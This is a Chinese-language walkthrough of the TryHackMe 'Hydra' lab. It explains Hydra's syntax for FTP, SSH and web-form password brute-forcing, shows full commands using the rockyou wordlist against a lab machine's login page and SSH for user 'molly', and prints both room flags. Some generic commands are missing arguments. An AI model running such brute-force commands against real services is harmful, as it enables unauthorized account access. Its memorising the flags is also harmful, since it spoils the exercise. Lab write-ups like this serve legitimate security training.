一、Hydra是什么?

二、使用方法

1.ftp

FTP:hydra -l user -P passlist.txt ftp://machine_ip
tryhackme之Hydra

2.ssh

hydra -l -P 目标ip -t 4 ssh

3.提交web表单

hydra -l -P 目标ip http-post-form “/:username=USER&password=PASS:F=incorrect” -V

username 和 password为参数名,看具体情况改变
tryhackme之Hydra
tryhackme之Hydra

三、解题

1、Use Hydra to bruteforce molly’s web password. What is flag 1?

tryhackme之Hydra

用户名:molly **密码

请求方法为POST
tryhackme之Hydra

现在还差一个字典,可以用kali自带的字典
目录:/usr/share/wordlists/
tryhackme之Hydra

dirb
dirbuster
fasttrack.txt
fern-wifi
metasploit
nmap.lst
rockyou.txt.gz
wfuzz

rockyou解压
gzip -d rockyou.txt.gz

构建语句:
hydra -l molly -P /usr/share/wordlists/rockyou.txt 10.10.134.48 http-post-form “/login:username=USER&password=PASS:F=incorrect” -V

tryhackme之Hydra
tryhackme之Hydra

THM{2673a7dd116de68e85c48ec0b1f2612e}

2、Use Hydra to bruteforce molly’s SSH password. What is flag 2?

构造语句:
hydra -l molly -P /usr/share/wordlists/rockyou.txt 10.10.134.48 -t 4 ssh
tryhackme之Hydra

ssh登录后找到第二个flag
tryhackme之Hydra
tryhackme之Hydra

THM{c8eeb0468febbadea859baeb33b2541b}

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